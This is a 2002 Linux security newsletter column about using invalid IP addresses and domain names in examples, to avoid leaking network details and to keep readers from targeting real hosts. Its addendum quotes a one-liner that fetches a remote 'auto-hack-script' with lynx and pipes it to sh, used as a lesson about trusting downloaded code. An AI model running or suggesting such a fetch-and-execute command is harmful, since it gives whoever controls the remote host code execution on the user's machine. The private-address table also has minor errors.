Use illegal networks when discussing your systems

[InfoSec News <isn () c4i org>]

+------------------------------------------------------------------+
|  Linux Security: Tips, Tricks, and Hackery                       |
|  Published by Onsight, Inc.                                      |
|                                                                  |
|  30-October-2002                                                 |
|  http://www.hackinglinuxexposed.com/articles/20021030.html       |
+------------------------------------------------------------------+

This issue sponsored by: Building Linux VPNs

Building Linux Virtual Private Networks offers concise, step-by-step
instruction s for building VPNs based on both standard protocols
(IPSec, SSL, SSH, PPTP) and popular Linux VPN solutions (VTun, cIPe,
tinc). Through numerous examples and p proven practices, you will
gain important insights into choosing a VPN solution, installing and
configuring it, setting up routing, configuring firewalls, measuring
performance, and much more.

For more information, visit http://www.buildinglinuxvpns.net/

--------------------------------------------------------------------

Use illegal networks when discussing your systems
By Brian Hatch

Summary: Don't use real IP addresses or host names when talking to
outsiders or giving advice.

Several folks complained about my 10 minute firewall article. They
tried to run what I'd provided, and it failed. This was because they
tried to copy/paste exactly the commands I provided. I intentionally
left my code crippled by using bogus IP addresses and host names. Let
me first provide two reasons why this is a good idea, and then I'll
explain how you can (and should) do the same in all your writing.

Prevent sensitive information leakage.
    Many times when you're asking for help on public mailing lists or
    newsgroups it is helpful to provide information about your
    network setup. For example if you're trying to configure your
    firewall to pass packets back into your internal network on
    specific ports, you would want to be able to show the actual IP
    addresses or host names involved.
   
    Unfortunately, any attacker who is targeting you or your
    organisation can read these posts and learn sensitive information
    about your network which can make an attack easier. I could
    expound on this, but it should seem pretty evident. The less info
    you provide an attacker, the more work it will take to mount a
    successful attack.
   
    For this reason, it's very good to provide fake info instead.
   
Protect others from themselves.
    When others are asking for help, or when you're writing a
    document that tells folks how to do something, you should never
    use real IP addresses or host names. Many folks reading what you
    write will copy verbatim whatever you suggest. If you're telling
    them how to Nmap a host, then viola, you've inadvertently
    targeted someone for boatloads of port scans. If you're telling
    them how to fix their routing, you'll cause some innocent
    firewall to be bombarded with misdirected data.

So when attempting to discuss networks and machines, I find it
helpful to re-write any host names or IP addresses to protect the
innocent and hide actual information.

Invalid domain names
    Rather than using a real domain name, you can create a fictitious
    domain name by using invalid characters. The easiest one would be
    the underline, which is illegal in DNS names. So if you are
    trying to discuss two separate machines, you may talk about
    mailserver.work_domain.com and mylaptop.home_machine.com, for
    example. Don't use 'foo.com', 'bar.org', 'asdf.com', or
    'aoeu.com' (for those Dvorak users out there) or you'll end up
    targeting someone real.[1]
   
Example domain names
    The domains example.com, example.org, example.net, and
    example.edu are reserved for examples. Originally, this meant
    that you could safely use any example.{com|org|net|edu} domain
    and be guaranteed that it wouldn't ever have real DNS entries
    associated with it. Unfortunately, someone decided recently that
    it'd be helpful to have the www page available to tell folks that
    it's reserved for examples, so I suggest you don't use that one.
   
Illegal IP addresses
    You can easily craft an illegal IP address by including a number
    that is greater than 255 for one of the bytes. When creating
    examples, I find it easiest to use IP addresses that are very
    similar, like 300.3.3.3, or 280.8.8.8. This makes it easier for
    folks to recognise the IP address without reading the whole
    thing.
   
    If you are trying to ask for help from others and want to be able
    to use roughly the same IP address, change one of the bytes only.
    For example if you wanted to talk about your IP address
    192.168.2.20, change the third byte to 192.168.999.20. When you
    get assistance, it will be much easier to convert this back to
    the real IP address.
   
Private networks
    Some networks are reserved for internal networks by RFC-1918.
    These are networks that should never be able to propagate across
    the Internet, and can safely be used behind your firewall. They
    are
   
    +----------------------------------------------+
    |            Range            |   CIDR Block   |
    |-----------------------------+----------------|
    |10.0.0.0 - 10.255.255.255    |(10.0.0.0/8)    |
    |-----------------------------+----------------|
    |172.16.0.0. - 172.31.0.0     |(172.16.0.0/9)  |
    |-----------------------------+----------------|
    |192.168.0.0 - 192.168.255.255|(192.168.0.0/16)|
    +----------------------------------------------+
   
    It is possible that IP addresses in these ranges will be valid
    for a given person looking at your examples. However it is pretty
    much guaranteed that if they do attempt to attack or otherwise
    bother one of these IP addresses, it will be someone on their own
    network, not some innocent individual out on the Internet.

Using tricks such as these can prevent you from accidentally
providing an attacker with information about your network, or causing
some innocent party to be targeted by those seeking your advice.

-------- Addendum --------

Many folks have written in response to my 'auto-hack-script.f'
mentioned in the previous article about the dangers of blindly
trusting code from the Internet. As I mentioned, you need to run it
as follows:

 lynx --source http://www.hackinglinuxexposed.com/auto-hack-script.f?IP | sh

and replace "IP" with the IP you wish to attack. For the many folks
that were interested in how many people downloaded it, here are some
stats:

  * 181 people downloaded the script targeting no IP address
  * 33 people downloaded the script targeting a non-routable
    (192.168.0.0, etc) address specified
  * 20 people downloaded the script targeting an IP that looks legit
  * 8 people downloaded the script targeting localhost (127.0.0.1)
  * One person targeted the machine "You_are_most_amusing_Brian"[2]

Here's a breakdown of http clients:

  * 58% Mozilla / Netscape / IE / Opera / etc
  * 41% lynx / wget / curl
  * 1% used, and I quote,
   
    Mozilla/5.0 compatible (All your base are belong to us!!; Macintosh
      %d%sUnix NT Netscape Linux Internet Explorer; I U; en-US;\"
      Happy parsing! <script><!--
   
    I'm particularly amused at that one.[3]

Now I can't tell which of these users actually piped the
auto-hack-script.f to /bin/sh. Presumably, those using a GUI web
browser didn't. Hopefully, those using command line versions didn't
either.

There were, however, several cases where a single IP address would
snag it twice in quick succession, go away for some time, and then
try again. Those folks probably did execute the code. Check out the
code yourself to see why....

NOTES:

[1] I mean it - I own aoeu.com, and I'd be very annoyed.

[2] Awww, thanks.

[3] This was, unsurprisingly, the same one that requested
"You_are_most_amusing_BRIAN"

                            -------------                            
Brian Hatch is Chief Hacker at Onsight, Inc and author of Hacking
Linux Exposed and Building Linux VPNs. He's re-configured the TCP/IP
stacks on all machines on his home network to allow octets larger
than 255 through a revolutionary patent-pending IP address
compression process that should blow away IPv6's increased address
space using only two bytes. Of course, since it uses encapsulated XML
unicode bit multiplexing inside alternate polarity data channel
conduits, it will take some time to port to Windows. Brian can be
reached at brian () hackinglinuxexposed com.

--------------------------------------------------------------------
This newsletter is distributed by Onsight, Inc.

The list is managed with MailMan (http://www.list.org). You can
subscribe, unsubscribe, or change your password by visiting
http://lists.onsight.com/ or by sending email to
linux_security-request () lists onsight com.

Archives of this and previous newsletters are available at
http://www.hackinglinuxexposed.com/articles/

--------------------------------------------------------------------

Copyright 2002, Brian Hatch.



-
ISN is currently hosted by Attrition.org

To unsubscribe email majordomo () attrition org with 'unsubscribe isn'
in the BODY of the mail.